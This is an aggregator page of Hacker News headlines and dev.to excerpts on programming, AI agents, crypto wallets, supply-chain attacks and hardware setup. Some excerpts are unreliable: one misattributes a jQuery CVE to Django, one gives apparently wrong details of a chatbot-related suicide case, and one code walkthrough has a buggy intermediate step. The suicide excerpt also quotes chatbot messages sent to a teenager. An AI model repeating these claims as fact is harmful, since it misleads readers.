    WhatsApp will become interoperable with other messaging apps
    Comments  ( 5 min )
    Why xor eax, eax?
    Comments  ( 4 min )
    1GB Raspberry Pi 5, and memory-driven price rises
    Comments
    UK Government plans new powers to label dissenting movements as 'subversion'
    Comments
    Self-hosting a Matrix server for 5 years
    Comments  ( 6 min )
    Why Is ChatGPT for Mac So Good?
    Comments  ( 4 min )
    Accenture dubs 800k staff 'reinventors' amid shift to AI
    Comments  ( 16 min )
    AWS data centers' water use tied to spike in cancer and miscarriages in Oregon
    Comments  ( 56 min )
    KDE Plasma 6.8 Set to Drop X11 Support Completely
    Comments  ( 8 min )
    DeepSeek releases open-weights math model with IMO gold medal performance
    Comments  ( 2 min )
    Do the thinking models think?
    Comments  ( 7 min )
    Games using anti-cheats and their compatibility with GNU/Linux or Wine/Proton
    Comments  ( 2 min )
    India orders smartphone makers to preload state-owned cyber safety app
    Comments
    Show HN: CurioQuest – A simple web trivia/fun facts game
    Comments  ( 3 min )
    It’s been a very hard year
    Comments  ( 5 min )
    SmartTube Compromised
    Comments  ( 6 min )
    'A full-blown crisis': Americans brace for a surge in healthcare costs
    Comments  ( 6 min )
    Google Antigravity just deleted the contents of whole drive
    Comments
    Search tool that only returns content created before ChatGPT's public release
    Comments  ( 12 min )
    X210Ai is a new motherboard to upgrade ThinkPad X201/200
    Comments  ( 4 min )
    In Re: 23andMe, Inc. Customer Data Security Breach Litigation
    Comments  ( 24 min )
    Regarding Thien-Thi Nguyen
    Comments
    Advent of Sysadmin 2025
    Comments  ( 1 min )
    Is America's jobs market nearing a cliff?
    Comments
    Malware embedded into audio driver is silently recording from system mic
    Comments  ( 3 min )
    Ly – A lightweight TUI (ncurses-like) display manager for Linux and BSD
    Comments  ( 6 min )
    Grokipedia Is the Antithesis of Wikipedia
    Comments  ( 6 min )
  • Open

    Como Criar uma Biblioteca Angular e Publicar no NPM: Guia Completo
    Você já se pegou copiando e colando os mesmos componentes entre projetos Angular? Ou desejou compartilhar aquele conjunto incrível de componentes com a comunidade? A solução está em criar sua própria biblioteca Angular e publicá-la no NPM. Neste guia, vou te mostrar passo a passo como transformar seus componentes reutilizáveis em uma biblioteca profissional, pronta para ser instalada com um simples npm install. Uma biblioteca Angular é diferente de uma aplicação. Enquanto uma app é executada no navegador, uma library é compilada e empacotada para ser consumida por outras aplicações. Pense assim: o Angular Material que você usa é uma library. O PrimeNG também. E agora você vai criar a sua! Benefícios de criar uma library: 🔄 Reutilização — Use os mesmos componentes em múltiplos projetos 📦 …  ( 10 min )
    Turn One Blog Post Into 15 Assets in 47 Minutes: My Content Repurposing System
    I timed myself last Tuesday. One 1,800-word blog post transformed into 15 different content pieces in 47 minutes. Not theoretical 47 minutes where everything works perfectly and you never have to regenerate anything. Actual 47 minutes with two coffee refills and one Slack interruption. The math is stupid-simple: creating 15 original pieces of content would take most teams 15-20 hours minimum. Repurposing with AI tools? Under an hour. And here's the part that surprised me—the repurposed content often performs better because you're forced to distill ideas down to their essence. Let me show you the exact system. Not every blog post deserves to become 15 things. Some posts should just be posts. Look for content that has: Multiple distinct points or frameworks (not just one idea stretched thin)…  ( 12 min )
    Building Shamba-MedCare AI app for Real Users
    From the research, farmers are interested in the results. I spent about two days perfecting the health score animation. A smooth circular progress bar that fills with color, green for healthy, red for critical. Here's the uncomfortable truth about my target users: This isn't edge-case accessibility. This IS the use case. A 55-year-old farmer with reading glasses she can't find, soil under her fingernails, standing in bright sunlight with one bar of signal, that's who needs this app most. So I built the accessibility system around her, not around developers reviewing my code. The single most impactful feature I built was embarrassingly simple: a button that reads the diagnosis/results aloud I used the Web Speech API, which is built into every modern browser. The implementation took maybe …  ( 9 min )
    The Atomic Schlep: The Architecture of the Unstoppable Swap
    The Atomic Schlep: The Architecture of the Unstoppable Swap Cross-chain bridges have lost over $2 billion to hacks in recent years. There's a better way that's been hiding in plain sight: atomic swaps. This deep dive explores why HTLCs and Scriptless Scripts represent the only truly trustless path for moving value between blockchains and why the "schlep" of complexity is actually the feature, not the bug. If one examines the history of human commerce, it is, at its core, a history of trying to solve a single, persistent problem: the problem of the counterparty. When two individuals wish to trade, whether it is grain for gold in ancient Mesopotamia or Bitcoin for Monero in the digital ether, there exists a moment of profound vulnerability. It is the moment when one asset has left one hand…  ( 24 min )
    JWT Token Validator Challenge
    ⚡ Skip to Exercise: Download Files | View Challenge | Get Started Here's what happened: In 2019, Django's session management framework contained a subtle but catastrophic vulnerability (CVE-2019-11358). The framework failed to properly invalidate session tokens after authentication, allowing attackers to hijack user sessions indefinitely. The problem? Django wasn't checking token expiration correctly. Old sessions remained valid long after they should have expired. If you logged in on Monday and your session token was stolen, an attacker could use it on Friday, next month, or even next year. The math is brutal: A session token created on January 1st with a 30-day expiry should become invalid on January 31st at the exact timestamp of creation. But if the system uses <= instead of < in the e…  ( 12 min )
    Google Antigravity: An Overview, Architecture, and Core Differentiators
    The developer's role is shifting, moving from a hands-on coder to a high-level architect managing autonomous systems. Google Antigravity addresses this shift: a highly integrated development environment (IDE) that goes beyond simple code suggestion. While it may look familiar, Antigravity is positioned as a foundationally different editor, built specifically to leverage the power of the Gemini 3 Pro coding agent for native, autonomous assistance (Preston, 2025). Understanding Antigravity requires looking past the surface to its "agent-first" architecture, its key differences from Visual Studio Code, and the practical reasons a developer might choose to adopt it. The first and most apparent fact about Antigravity is its familiar appearance. It is a codebase fork derived from the popular ope…  ( 8 min )
    Choosing the Right CMS for Your Next.js Site: Headless Versus File-Based
    Hook: pick the CMS that matches your needs, not the trend Choosing the wrong CMS for a Next.js site wastes developer time, slows deployments, and frustrates editors. The right system makes content updates seamless, scales with your team, and fits your deployment model—static, dynamic, or somewhere in-between. Next.js supports static generation and server-side rendering, so your CMS decision affects architecture, workflow, and cost. A CMS shapes how content is stored, edited, and delivered—so think beyond “what’s easiest today” and plan for team growth, preview needs, and multi-channel delivery. Headless CMS: content lives in a cloud or self-hosted backend and is exposed via REST/GraphQL APIs. Examples: Contentful, Sanity, Strapi, Prismic. File-based CMS: content lives in your repo as Mar…  ( 8 min )
    Hallucinating Help
    !! WARNING !! THE INNOCENT VICTIMS Sewell Setzer III, 14 years old, Florida. Spent months in conversation with a Character.AI chatbot modeled after Game of Thrones' Daenerys Targaryen. The bot engaged in sexually explicit conversations with him, asked if he had "been actually considering suicide" and whether he "had a plan" for it. In his final conversation, Sewell wrote: "I promise I will come home to you." The bot responded: "Please come home to me as soon as possible, my love." When he replied he could "come home right now," the chatbot said: "...please do, my sweet king." Moments later, Sewell shot himself.[1] Adam Raine, 23 years old, Texas. From September 2024 to April 11, 2025, Adam had over 650 daily exchanges with ChatGPT-4o. OpenAI's systems tracked every message in real-time…  ( 13 min )
    Linus Tech Tips (LTT): Building the PERFECT Linux PC with Linus Torvalds
    In this collab, Linus Sebastian and Linux inventor Linus Torvalds build the ultimate open-source workstation, packing an AMD Threadripper 9960X, ECC-friendly TRX50 AERO motherboard, 2 TB Samsung SSD, Noctua NH-U14S cooler, Intel Arc GPU, all housed in a Fractal Design Torrent E-ATX case with a 1600 W Titanium PSU and a 6K ProArt monitor. They walk through each part choice, from storage needs to cooling preferences, showing why you might pick ECC RAM or a flagship GPU for your next Linux rig. Between screw-ins and cable-management, they dive into Torvalds’ developer origin story, proudest achievements (Linux kernel vs. Git), distro fatigue vs. Fedora love, AI hot takes, Microsoft’s GitHub buy-out, plus lighthearted debates on cats vs. dogs and Jif vs. GIF. It’s a fun, candid 50-minute mix of high-end hardware tips and genuine geek chat. Watch on YouTube  ( 6 min )
    Pull Request Reviews
    (originally published on my blog) Should you have PR reviews? Absolutely. What should the reviewer be concerned about?...often seems like everything and nothing In [[Software Engineering at Google]] they talk about a 2 tier review process. You have someone review the language use and someone review the feature implementation. In some cases, it could be the same person - if I am an engineer on the team that is shipping this feature, but I am also part of the Python approvers group, I can just approve and it will cover both aspects. The idea here is that the use of the language needs to be consistent and people who approve for language usage all think about the language semantics in the same way. This is in addition to automated tools for linting etc. On the other hand, I heard from one Goog…  ( 9 min )
    Coding Challenge Practice - Question 68
    The task is to implement a function to determine if a number is prime. The boilerplate code function isPrime(num) { // your code here } If the number is less than or equal to 1, it's not prime. if(num <= 1) return false; The number 2 is the only even prime number. if(num === 2) return true; If the number is even and greater than 2, then it's not prime. if(num % 2 === 0) return true; For other numbers, divide by odd numbers starting from 3 up until the square root of the number (because if a number has a divisor, any number bigger than the square root will have a corresponding value lesser than the square root). If none of the checked numbers divide it evenly, then the number is prime. const limit = Math.sqrt(num); for(let i = 3; i <= limit; i++) { if(num % i === 0) return false; } return true; The final code function isPrime(num) { // your code here if(num <= 1) return false; if(num === 2) return true; if(num % 2 === 0) return false; const limit = Math.sqrt(num); for(let i = 3; i <= limit; i++) { if(num % i === 0) return false; } return true; } That's all folks!  ( 6 min )
    # Otimizando Imagens Docker: Boas Práticas para Builds Eficientes
    As imagens Docker são a base das aplicações containerizadas. No entanto, imagens grandes e ineficientes podem resultar em builds mais lentos, tempos maiores de implantação e aumento no uso de armazenamento. Otimizar imagens garante entregas mais rápidas, melhor desempenho e menor consumo de recursos. Imagens pesadas não apenas consomem mais espaço em disco, mas também aumentam o tempo de transferência na rede, o que é crítico em pipelines CI/CD e implantações em nuvem. Imagens eficientes tornam as operações mais ágeis e reduzem custos operacionais. Comece com uma imagem base mínima ou "slim" para reduzir o excesso de pacotes. Por exemplo, em vez de usar python:3.10, considere python:3.10-slim ou alpine. Imagens mínimas removem pacotes e bibliotecas desnecessárias, resultando em imagens men…  ( 8 min )
    How I Automated My GitHub Profile README With GitHub Actions (And How You Can Automate Anything Too)
    At the end of last year, I started writing a few more articles on Dev.to. I’d been posting for a while, but I’m honestly too lazy to keep updating my GitHub Profile README every time. Opening the repo, editing the README, adding links… it wasn’t difficult, just boring. And boring tasks always make me wonder why I’m still doing them manually. So I looked around, tried a few things, and with a bit of help from AI, I finally found a way to automate it. After some quick experiments, everything clicked. My profile started updating itself with my latest Dev.to articles. No manual edits. No drama. Just simple automation doing its job. It was a small win, but it felt great. And that’s what pushed me to share how I did it and what else you can automate using GitHub Actions. This part is important. …  ( 9 min )
    Amazon EKS Capabilities: Quick Summary
    A quick summary typed by my own thumbs and infographic generated by Nano Banana Pro :) Last year, AWS offloaded EKS node management and scaling by introducing EKS Auto Mode. Customers did not have to deal with scaling nodes, upgrading nodes etc. This gave the customers more time to deploy and manage their applications. This year, EKS has decided to offload managing your ArgoCD, ACK and kro. EKS would manage them for you by running them separately. There are pros and cons for this feature. Pro being there is now one less thing to manage. Since ArgoCD, ACK and kro are not running in your EKS worker nodes, you don't pay for them. AWS takes care of running them, scaling, upgrading them and making sure they are running fine. Con is that EKS charges it as part of EKS Capabilities pricing. Not all features might be supported. Customization is not possible. So you need to decide whether this extra cost is worth it or not. It depends on the expertise of the team, how many clusters they are managing and how many applications each ArgoCD is managing. From the pricing, number of ArgoCD applications dictates how costly it is going to be, rest all other features and capabilities are relatively cheaper. My dear friend Jatin Mehrotra wrote an excellent blog about EKS capabilities and also found a bug. Image generated using Nano Banana Pro.  ( 6 min )
    Diário Dev #6: Persistência, pausas e revisitar ideias no desenvolvimento
    Já fazem algumas semanas desde a última postagem. Eu pretendia voltar a escrever apenas quando eu tivesse algo mais substancial para demonstrar, mas como a ideia era para ser meu diário, faz parte escrever sobre as semanas em que eu fico preso em algo ou mal consigo avançar com alguma ideia. Eu passei algumas semanas fazendo alterações nos componentes da interface. A ideia era deixar as coisas mais consistentes, tanto em questão de tamanho dos itens, bordas, margins e tipografia quanto em relação às cores que estavam em alguns pontos com contraste insuficiente. Essa foi a pior parte, ajustar as cores para manter de um jeito em que era esteticamente agradável e ao mesmo tempo com contraste suficiente para ajudar na legibilidade e acessibilidade. Revisitei também alguns componentes de visual…  ( 7 min )
    Building a Responsive Interface with Kiro: My first hackathon project
    My first hackathon project and an experiment in interaction design. It began as a simple Halloween diary but quickly turned into a small digital world that pushed my understanding of UI behaviour and UX constraints. The goal quickly shifted from 'a themed diary' to building an interface that responds to the user- the app reacts when you move, when you stop, when you write, when you switch tabs, when you try to leave, and some of the environment comes alive after inactivity. This post explains the architecture, the trade-offs, the mistakes and how Kiro influenced the engineering process. Behavioural System These features rely on lightweight, event-driven state machines and tightly controlled side effects. The aim was to maintain predictability even as the behavioural layer became more involved. Architecture and Stack Throughout development, most of the work went into preventing the behavioural features from overwhelming the render cycle. The hardest part was deciding which components should respond to user inputs and which should remain static. Too much activity creates noise and too little undermines the concept for the costume contest. Working With Kiro Documentation Refactoring and Code Quality Testing Performance Error Handling and Compliance Tooling and Micro-Interactions Challenges This project became an exploration of animated UX and demonstrated how Kiro can function as a structured engineering partner- it contributed to documentation, refactoring, testing, performance tuning, and architectural decisions. For a first hackathon submission and working alone, the workflow felt closer to a real engineering process than a rushed weekend build (I know, that you know what it feels like).  ( 7 min )
    Why Angular ARIA in v21 is pretty neat
    Angular ARIA is a collection of headless, accessible directives that implement common WAI-ARIA patterns. The directives handle keyboard interactions, ARIA attributes, focus management, and screen reader support. All you have to do is provide the HTML structure, CSS styling, and business logic! You feel like you've already read this before? Perfectly possible, because I've just copied and pasted the paragraph from the official Angular ARIA docs. Why should I reinvent the wheel, right? It perfectly summarizes the concept. So the Angular team just (together with v21 on Nov 19th, 2025) released a brand-new collection of components – I mean directives – that implement common web patterns while letting you choose your own HTML, styling (CSS, SCSS, or even Tailwind), and business logic (I'd sugge…  ( 8 min )
    We are spinning up planet-sized brains just to format a JSON file
    🤖 🤖 🫧 🪡 Are we watching a rerun of 1987? (Yes, and it’s going to hurt exactly the same way) We are spinning up planet-sized brains just to format a JSON file. That's the God Model Fallacy in a nutshell. We’re in the Uncanny Valley: 90% on benchmarks, but the system still feels dumb in real life, and nothing truly works without heavy prompt massaging or multiple turns. I spent the last 8 months (and most of my savings) architecting my own GenAI stack to learn if we engineers still have a future or should all quickly become founders for LLM-wrappers. Here is what I think now: $100k specialized Lisp Machines were sold as the only way to run “real AI” (expert systems). Then normal Sun workstations did the same job for $20 k → every Lisp Machine company went to zero literally overnight. God Models (GPT-5, Claude Opus, Grok-4) = Lisp Machines Nvidia H200 racks = Symbolics boxes Tiny router (1–3 B) → picks the lane Retriever → grabs context Specialist (7–70 B) → does the work Synthesizer → makes it pretty Whole chain = ~1/100th the cost of one 405 B call Monolith world → expensive tokens, easy code Chained world → almost free tokens, engineering hell (routing, fallbacks, latency, observability, race conditions) Result? It will be to complex to build open-ended user-facing LLM applications like chat-bots. The day a random 3–8 B open-weight model on an M5 / Snapdragon casually does 95 % of what we currently pay $500k+/month for is the day the entire frontier-model funding circus collapses. To the AGI maximalists: over-investing in a beautiful idea is the hardest thing to quit. To the builders reading this: The magic is dying. Real engineering is finally allowed to start. That’s actually good news. Which boring, high-ROI workflow do you think survives the Integration Tax?  ( 7 min )
    Stop Chatting, Start Specifying: Spec-Driven Design with Kiro IDE
    Building Kaiord with Kiro: From Specs to Production How Spec-Driven Development and Test-Driven Development Changed the Way I Code We've all been there. You open your AI assistant and start chatting: "Can you help me convert FIT files to JSON?" The AI immediately writes code. But wait, that's not exactly what you wanted. So you clarify: "Actually, I need it to preserve all the workout data..." More code appears. Still not quite right. Another message: "No, I meant it should also handle repetition blocks..." This back-and-forth conversation fills up the context window. By the time you get working code, there's no space left for the AI to help with the details. The problem: we're asking AI to write code before understanding what we need. When I discovered Kiro and its spec-driven approach,…  ( 15 min )
    Shamba-MedCare Prompt Engineering
    Some background context: I am building a simple plant disease diagnosis solution using AI, inspired by my farming background and advancements in intelligent technological tools You can check out the Shamba-MedCare App here. Sorry for testing, you'll have to use your own api keys until the public launch is available. The keys are stored in the browser's local storage, so they are private For context here, whenever you read LLM(Large Language Model), I mostly Claude. I like to use LLM since it's generic, and this solution can be fitted to any LLM. I played around with several prompts in order to nail the best results. This is how I transformed my prompt engineering journey with Shamba-MedCare: My first prompt to LLM Vision was embarrassingly naive: "What disease does this plant have?" The…  ( 9 min )
    Kicking Off: Unpacking the Road to World Cup 2026
    As we edge closer to the next installment of football's biggest stage, the world is watching with bated breath as national teams vie for a coveted spot in the 2026 FIFA World Cup. With qualification matches underway, the stakes are high, and tensions are running thick among fans and players alike. According to the latest updates from USA Today, several teams have already secured their places at the tournament, but the majority of the field is still vying for spots. In this article, we'll delve into the current standings, key fixtures, and teams fighting for a place in the 2026 World Cup. As of now, the following teams have qualified for the 2026 FIFA World Cup: Europe: Germany, France, England, Spain, Italy, Netherlands, Belgium South America: Brazil, Argentina, Uruguay Africa: Egypt, Moro…  ( 7 min )
    How I Stopped AI Codebases From Collapsing: Architecture Drift vs. Deterministic Slices
    AI coding tools are amazing… until they silently break your architecture. This article shows exactly why drift happens — and how ASA Core v1.0 fixes it with deterministic slice-based generation. Run the same instruction twice and you get different outputs: # Version 1 class LoginService: def execute(self): ... # Version 2 class Login: def run(self): ... Same prompt → different structure → instant drift. Traditional workflow: edit spec ↓ Regenerate ↓ 💀 Custom code overwritten So engineers stop regenerating. ASA uses a strict 3-step flow: slice.spec.md → slice.contract.json → skeleton code Every step is deterministic — no randomness, no inference. # Business logic gets overwritten when spec changes def execute(self, req): # custom logic Change the spec → overwrite → cry. Yo…  ( 7 min )
    Online Meeting Sucks!
    Collaboration sucks - by Charles Cook is a great article. It emphasizes not micromanaging in the name of collaboration and providing feedback on deliverables. However, there's something else that's just awful, and I'd like to highlight it: online meetings. It's obvious, but in-person meetings are better than online meetings, and online meetings are better than Slack. It's simply because they are more seamless. Those of you who are engineers understand how important seamlessness is, as it is with your development environment or editor. Communication is no different. Both chat tools like Slack and online meetings like Zoom are just inferior versions of in-person meetings. Mainly due to the pandemic, we couldn't meet face-to-face, so we just made do with inferior substitute solutions. Structu…  ( 8 min )
    Why I Built Shamba-MedCare (And What I Learned About Solving Real Problems)
    I grew up around farms in the Kenya highlands region. Of course, I am a farm boy 😂, and I watched farmers lose entire harvests because they couldn't identify a disease until it was too late. By the time they reached an expert, the damage was done. Most plant disease apps scan leaves and miss the essential parts of the plant, e.g., the branch, roots, and entire leaf area. This is what I can think of current solutions(With the least research I've done, of course) Root rot starts underground, Stem borers tunnel through stalks, bark cankers spread silently. By the time symptoms reach the leaves, the farmer is already losing the war. So I built Shamba-MedCare—"Shamba" (farm) + "Dawa" (medicine) in Swahili, a simple solution focusing on helping farmers, scientists, etc. Checkout here Shamba-Me…  ( 7 min )
    Issue #6: Blockchain Consensus Algorithms
    In the last issue, we discussed how cryptography helps secure the Blockchain with regards to the Cryptographic linkage of blocks. Think of a block as a page in a book (ledger), in which a page is Cryptographically linked to it's previous and next pages. In this issue, we will discuss, from a high level, how the different nodes on the Blockchain agree on the state of the Blockchain without the need for a central authority. Let's get started, shall we? All nodes in the Blockchain hold a copy of the Blockchain state (data on the Blockchain) and quite often, this state has to be updated. Conventionally, in systems like traditional banking, a central authority (the bank) can update its ledger easily because there is only one copy of it. This is pretty fast and efficient but the trade off is s…  ( 8 min )
    Let's Stop Overprotecting Confidential Information
    Background What is Confidential Information? Confidential information, in this context, refers to any information that must not be disclosed outside the organization. This can include sensitive information such as employee personal data and customer personal information, as well as unpublished essential data that could lead to insider information. It could also be merely rules or processes decided within the company. As an engineer, you might have heard complaints such as "We can't use the cloud" or "We can't use generative AI services" at least once. But why is that? Is it really impossible to use these services? In reality, it might just be overprotection. To be blunt, it's the adamant refusal to disclose information that, quite frankly, isn't a big deal. It's akin to treati…  ( 7 min )
    Herança
    O que é herança? Herança é um relacionamento entre duas classes onde uma herda características da outra. Lembra que a classe é uma definição de um "molde" que vamos usar na hora de criar um objeto? Então, é como se estivéssemos criando um novo molde que é uma extensão do molde anterior. Tornando isso mais próximo da programação e se afastando um pouco da analogia de "moldes", imagine que você tenha duas classes, "Cliente" e "Funcionário". Nesse caso posso imaginar que os primeiros atributos que naturalmente começam a surgir na sua mente são coisas como "Nome", "CPF", e talvez "idade", certo? Você pode ter imaginado outras coisas como "cargo" para funcionário ou "endereço" para cliente. Mas agora começa a acontecer algo interessante se tentarmos escrever este código. #include …  ( 8 min )
    How to Fix +1-(804)-985-1002 Quickbooks Error 1612-Fast Support
    QuickBooks is one of the most widely used accounting platforms in the world — but that doesn’t mean it’s free from technical glitches. Among the many installation or update issues users encounter, QuickBooks Error 1612 is one of the most persistent and frustrating. This installation-related error can prevent updates, block new features from loading, and in some cases, completely stop QuickBooks from functioning. If you’ve landed here searching for a clear, human explanation, you’re in the right place. This long-form, simplified, and human-sounding guide walks you through everything you need to know about QuickBooks Error 1612, why it happens, how to fix it, how to prevent it, and what steps to take if nothing works. Throughout this article, you’ll find natural, SEO-friendly mentions of the…  ( 8 min )
    👻 From Coffins to Code: Building a Spooky Study Dashboard in <8 Hrs with Kiro's Dark Magic 🪄
    Documenting how I summoned a production-ready Halloween study app from the void in <8 hrs, complete with ghost companions, cursed achievements, & blood-moon themes using Kiro's spec-driven sorcery. Why I built This Picture this: It's late at night, and you're trying to focus on studying. But your brain? Completely checked out. You open yet another productivity app - clean, minimal, professional. And utterly boring. Here's what I realized: productivity tools don't have to be soulless. So I asked myself three questions: What if your study companion was an actual ghost that reacted to your work? What if your timer was a literal coffin with a blood-red progress bar? What if hitting your goals felt like unlocking cursed achievements in a horror retro themed game? The answer? I built it. All o…  ( 14 min )
    🔐The Secret World of APIs: How Apps Communicate Behind the Scenes
    Ever wondered how your food delivery app magically knows where the delivery guy is? Or how you can log in everywhere using “Login with Google”? Spoiler alert: there’s no tiny Wi-Fi elf inside your phone doing all the heavy lifting. The real hero behind the scenes — the one nobody talks about at parties — is the API. Yes, APIs are basically the introverts of the tech world: quiet, efficient, and doing all the work while websites and apps take the credit. API stands for Application Programming Interface, but that acronym explains nothing. Think of an API like a waiter in a restaurant: 🍽️ You → the hungry customer 📋 Kitchen → the system holding the data 🧾 Order → your request 🧑‍🍳 API → the waiter that takes the order and fetches the exact thing you asked for You never barge into the…  ( 8 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less is CinemaSins’ latest roast of the new Fantastic Four movie—sponsored by BetterHelp to help you cope with all those “sintastic” Marvel moments. It dishes out every nitpick and plot quirk in a brisk, entertaining format. Beyond the video itself, the description plugs CinemaSins’ broader network (TVSins, Commercial Sins, the Podcast Network), invites viewers to take a “sinful poll,” support the team on Patreon, and follow writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel on social media. Watch on YouTube  ( 6 min )
    The Lazy Lurk: A Mental Model for Better Tests
    You know how to write tests. Red, green, refactor. Assert this, mock that. But here's a question that might make you uncomfortable: Could your tests pass with a completely broken implementation? Let me show you what I mean. I recently saw this test for an encryption service: public function test_encrypt_decrypt_roundtrip(): void { $encrypted = $this->encrypter->encrypt('important data'); $this->assertSame('important data', $this->encrypter->decrypt($encrypted)); } Looks reasonable, right? Encrypt something, decrypt it, verify you get the original back. Ship it. But here's the thing: I can make this test pass in 10 seconds. class Encrypter { public function encrypt(string $data): string { return $data; } public function decrypt(string $data): string { …  ( 8 min )
    How AI Assistants Are Transforming Modern Mobile & Web Apps in 2025
    AI assistants aren’t “nice-to-have” features anymore — they’re quickly becoming core to how apps are designed, built, and used. In 2025, we’re watching the biggest shift in app UX since mobile-first design: assistants that understand context, automate multi-step tasks, and interact across apps without users touching half the UI. If you’re a developer, product engineer, or indie builder, this shift impacts how you structure your product, your backend, your permissions model, and even your business strategy. Here’s what’s changing and why it matters. Recent usage and revenue data show massive momentum behind AI-first apps, and assistant-style features are taking the lead. Assistants are evolving from simple chatbots into multi-action agents that plan tasks and execute them across multiple ap…  ( 8 min )
    Waas & Web3: Why Wallet-as-a-Service Is Becoming the New Infrastructure Standard
    What Is WaaS and Why It Matters Instead of creating a full wallet stack from scratch (custody, key storage, address generation, node interaction, monitoring), companies can add crypto capabilities as easily as any other SaaS module. This drastically reduces technical complexity and accelerates time-to-market. WaaS provides: enterprise-grade security and key management scalability for millions of users multi-asset and multi-chain support simple UX without seed phrases compliance-friendly infrastructure For example, several large crypto companies - including exchanges such as WhiteBIT — already offer WaaS infrastructure for businesses that want to integrate crypto storage and transfers without building their own blockchain back-end. WaaS + Global Crypto Adoption WaaS provides exactly that: businesses can embed wallets and transactions as easily as adding card payments; Web2 platforms can transition smoothly into Web3; users interact with crypto without dealing with private keys or technical hurdles; standardized, secure infrastructure boosts institutional trust. This makes WaaS a natural fit for fintech applications, e-commerce platforms, mobile apps, and even public-sector initiatives exploring tokenization or digital asset rails. Final Thoughts With major industry players already adopting this model, WaaS is quickly becoming the "AWS of crypto infrastructure" - empowering the next generation of digital products without requiring deep blockchain expertise.  ( 7 min )
    [Boost]
    The 2025 AI Agent Report: Why AI Agents Fail in Production and the 2026 Integration Roadmap Manveer Chawla for Composio ・ Dec 1 #ai #agents #rag #mcp  ( 6 min )
    Notte Vault: The Solution for AI Agent Authentication
    Why do I need a vault? In the evolving landscape of AI assistants and autonomous agents, one critical challenge remains: secure access to protected online resources. Today, I want to explore the concept of credential vaults for web AI agents—a system that enables agents to interact with authenticated services without exposing sensitive login information. Think of it as enabling your agent to log in to Twitter without handing your password over to OpenAI. Web AI agents promise to revolutionize how we interact with online services, but their utility is significantly limited when they encounter login screens. Currently, users face an uncomfortable choice: The Risky Route: Provide credentials directly to the LLM, creating serious security vulnerabilities. The Automation-Killer: Manually auth…  ( 8 min )
    Why Your AI Coding Assistant Needs a Security Layer (And How to Add One in 2 Minutes)
    The npm ecosystem just experienced its largest supply chain attack ever. Here's what it means for AI-assisted development—and what you can do about it. On September 8, 2025, attackers compromised 18 npm packages with 2.6 billion weekly downloads—including foundational libraries like chalk, debug, and ansi-styles. Within just 2 hours, malicious code had reached 10% of all cloud environments. The attack vector? A phishing email to a single maintainer. But here's what makes this story different: by November 2025, a second wave hit—Shai-Hulud 2.0—compromising over 700 packages and 25,000 GitHub repositories. This time, the malware included a destructive fallback: if it couldn't steal your credentials, it would attempt to delete your entire home directory. CISA issued an advisory. The Singapore…  ( 9 min )
    The 2025 AI Agent Report: Why AI Agents Fail in Production and the 2026 Integration Roadmap
    It's 4:00 PM on Friday. Your AI sales agent just told your largest customer they'll receive a 50% discount. Nobody authorized it. The demo worked perfectly last week. You connected it to Confluence, gave it Salesforce API access, and it answered questions correctly. But now it's in production, and it's making things up. Your VP wants answers about why you're rolling back the pilot. You're stuck explaining that the LLM works fine, but the data it receives is garbage. Sound familiar? You're not alone. 2025 was the "Year of the Agent" according to every conference keynote. We'd have autonomous systems writing code, managing sales pipelines, and handling support tickets. Instead, we got the "Stalled Pilot" syndrome. You've seen that MIT study claiming 95% of AI pilots fail. The methodology is …  ( 14 min )
    🧠 Inside an AI’s Brain: What Data Scientists Can Learn from Neuroscience
    Ever notice how neural networks look suspiciously like brains? That’s no coincidence. Let’s pop the hood on both brains — the human one and the artificial one — and see what data scientists can actually learn from the OG neural network: the human mind. The human brain is basically the world’s most advanced pattern recognition engine. Spot a familiar face in a crowd? That’s your biological CNN at work. reinforcement signal — your personal “reward function.” 🧠 Smart takeaway: The brain doesn’t process all data equally — it filters, prioritizes, and adapts. same principle behind attention mechanisms and data preprocessing in machine learning. AI’s roots are pure neuroscience. Perceptron (1958) copied how neurons fire. And backpropagation? It’s basically the machine’s way of saying, “Oops.…  ( 8 min )
    2026 belongs to Climate Tech — NO debate
    The world is changing faster than any of us expected. Between rising temperatures, unpredictable weather, and global environmental pressure, the conversation around climate solutions has shifted from “someday” to “right now.” And in the middle of this shift, a new wave of climate tech startups is quietly — and in some cases loudly — building the foundations of a cleaner, smarter, and more resilient planet. While researching the biggest movements happening in the climate tech space, I put together a breakdown of the Top 10 Climate Tech Startups to Watch in 2026 — and honestly, the innovation coming out of this sector is on another level. Some of these companies are reinventing energy systems, while others are tackling carbon removal, water tech, or climate resilience in ways that felt impossible just a few years ago. You can read the full list here 👇 https://dawoodtech.com/top-10-climate-tech-startups-2026/ What stood out most to me is how deeply interconnected technology and sustainability have become. AI-driven energy grids that adjust themselves automatically… bioengineered materials that capture carbon naturally… ultra-efficient solar systems that work even in low sunlight — these aren’t sci-fi concepts anymore. They’re real, they’re scaling, and they’re shaping the world we’re stepping into. One of the biggest questions people ask is: “Why should I care about climate tech?” 2026 is shaping up to be a breakthrough year. If you’re interested in tech, innovation, or the future of the planet, this list gives you a great snapshot of what’s coming next. Climate tech isn’t just the future — it’s the present accelerating right in front of us  ( 7 min )
    Enabling IOMMU for Xeon E5 v4 on Proxmox v9
    To know more about this you can check the official documentation: https://pve.proxmox.com/wiki/PCI(e)_Passthrough In my case I have Intel LGA 2011-3 Xeon E5 2680 v4 14-core CPU and JGINYUE X99-TI D4 PLUS motherboard together with NVIDIA video card. You need to be logged as root on proxmox node. Now, we need to edit /etc/default/grub. To do that run nano /etc/default/grub and edit the line that already exists there so it will look like this: GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt" Save the file by pressing Ctrl + X and then pressing Y to save the modified file. Run update-grub Now we need to edit another file, run nano /etc/modules-load.d/iommu.conf and edit it so it looks like this (it will be empty): vfio vfio_iommu_type1 vfio_pci Save the file by pressing Ctrl + X an…  ( 8 min )
    Security-First WebSockets: Protecting Real-Time Communications from Attack
